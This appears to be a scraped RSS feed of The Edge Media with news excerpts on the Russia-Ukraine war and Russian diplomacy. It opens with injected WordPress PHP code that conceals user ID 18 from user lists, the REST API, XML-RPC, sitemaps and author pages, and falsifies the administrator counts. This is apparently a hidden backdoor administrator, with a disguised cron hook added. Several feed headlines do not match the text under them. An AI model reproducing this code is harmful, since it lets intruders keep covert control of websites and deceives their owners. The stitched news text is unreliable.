add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Ukrainian Deputy Prime Minister Order To Evacuate Eastern Part Of The Country appeared first on The Edge Media.
]]>Putin claimed the purported crimes observed in Bucha – the village where remains of people were dumped out on the sidewalks and burial graves were uncovered at the church, was a “crude and cynical provocation” perpetrated by the Ukrainian administration in a conversation with Hungary’s re-elected prime minister – and Moscow ally – Viktor Orban on Wednesday.
The post Ukrainian Deputy Prime Minister Order To Evacuate Eastern Part Of The Country appeared first on The Edge Media.
]]>The post Russian Troops No Lesser Than Terrorists, Zelensky During His U.N Address appeared first on The Edge Media.
]]>President Biden urged for a war crimes prosecution on Monday in response to reports of rape and the slaughter of people in Bucha and other Russian-occupied towns, adding that Russian President Vladimir Putin should be held responsible.
The post Russian Troops No Lesser Than Terrorists, Zelensky During His U.N Address appeared first on The Edge Media.
]]>The post India’s Response “Somewhat Shaky”, Biden In Terms of Russia-Invasion appeared first on The Edge Media.
]]>The US also asked India to consider oil supplies from Moscow after Washington took a major measure prohibiting crude oil shipments from the Kremlin.
The post India’s Response “Somewhat Shaky”, Biden In Terms of Russia-Invasion appeared first on The Edge Media.
]]>The post Russia Central Bank Suspended by The Bank for International Settlements appeared first on The Edge Media.
]]>The post Russia Central Bank Suspended by The Bank for International Settlements appeared first on The Edge Media.
]]>The post “Ukraine Will Never Be A Win For Russia,” Says Biden appeared first on The Edge Media.
]]>“This much is obviously clear: Ukraine will never be a win for Putin,” Biden stated in a tweet. Putin might be able to conquer a city, but he’ll never be able to maintain control of the country.”
In reaction to Moscow’s attack on Ukraine, he placed an embargo on US imports of Russian oil, gas, and electricity just hours ago. “Russian oil will no longer be taken at US ports,” he said, “and the American people will strike back hard against Putin’s military machine.”
The post “Ukraine Will Never Be A Win For Russia,” Says Biden appeared first on The Edge Media.
]]>The post Persistent Attacks on Ukraine Poses Humanitarian Threats appeared first on The Edge Media.
]]>Today, Ukraine agreed to Russia’s request to establish humanitarian corridors.
Russian President Vladimir Putin stated that he is not dispatching conscripts or reservists to participate, and that the conflict in Ukraine is being led by “professional” forces with “defined aims.”
The post Persistent Attacks on Ukraine Poses Humanitarian Threats appeared first on The Edge Media.
]]>The post More Than A Million Fled From Ukraine, Greatest Migration in 100 Years appeared first on The Edge Media.
]]>The increased number of Ukrainian refugees represents slightly more than 2% of the nation’s 44 million inhabitants. As per the United Nations High Commissioner for Refugees (UNHCR), almost 50% of the refugees are in Poland, with Hungary, Moldova, and Slovakia rounding out the top five, while some have gone to other European countries.
The post More Than A Million Fled From Ukraine, Greatest Migration in 100 Years appeared first on The Edge Media.
]]>The post Shooting at a Russian university claimed the lives of several people. appeared first on The Edge Media.
]]>Shortly after beginning the attack on Monday morning at Perm State University, roughly 1,300 kilometers (800 miles) east of Moscow, the suspect was apprehended. The shooter has been recognized as a university student, according to Russia’s Investigative Committee. It has launched a murder investigation into the event.
The post Shooting at a Russian university claimed the lives of several people. appeared first on The Edge Media.
]]>The post Moscow and Berlin should talk despite “deep differences : Angela Merkel appeared first on The Edge Media.
]]>Merkel’s trip to Moscow coincides with the anniversary of a nerve-agent attack on now-jailed opposition leader Alexei Navalny, whose life was saved by Berlin doctors.
Her aides have made clear that the timing of the meeting is not accidental.
Even if we have deep disagreements, we are talking to one another and it should stay that way,” Merkel told Putin in a televised exchange before the talks at the Kremlin.
“We have a lot to talk about,” she added, naming several issues on their agenda, including the Taliban takeover of Afghanistan.
They are also expected to discuss the simmering conflict in eastern Ukraine and the authoritarian crackdown in Russia-allied Belarus.
Putin greeted Merkel with flowers, a gesture he reserves for female leaders, and said he hoped the visit will not only be a “farewell” one, but a “serious one”.
Merkel, who will bow out of politics following German elections on September 26, did not mention Navalny in her opening comments.
She has blamed the attack on the Kremlin after tests in European laboratories showed Navalny was poisoned using the Novichok chemical weapon, and has called for his release. Putin denies any involvement.
Merkel’s spokesman Steffen Seibert said the attack had put a “heavy burden” on relations between the two countries.
“Our demands have still not been met,” Seibert said earlier this week, adding that the case was still “unresolved”.
French President Emmanuel Macron called on Putin to release Navalny on the eve of Merkel’s visit in a phone call with the Russian leader, according to the Elysee.
The chancellor will travel to Russia’s rival Ukraine after visiting the Kremlin chief, who infrequently receives Western visitors in Moscow.
Merkel, who grew up in communist East Germany, and Putin, a former KGB agent stationed there, speak each other’s languages.
The post Moscow and Berlin should talk despite “deep differences : Angela Merkel appeared first on The Edge Media.
]]>The post Moscow and Washington have a shared interest in battling climate change, says Putin appeared first on The Edge Media.
]]>The climate problem is one of the areas where Russia and the United States have common interests and similar approaches,” Putin said in a phone call with Kerry who is visiting Moscow, the Kremlin said in a statement.
The former secretary of state is in Russia this week to discuss climate change with officials and has called on the country to cooperate with the US on the issue.
Putin said Moscow “attaches great importance” to achieving the goals of the Paris Agreement and “advocates de-politicising” dialogue on climate change.
The comments on a rare point of cooperation between the two countries come after Putin met US President Joe Biden for talks in Geneva last month.
The post Moscow and Washington have a shared interest in battling climate change, says Putin appeared first on The Edge Media.
]]>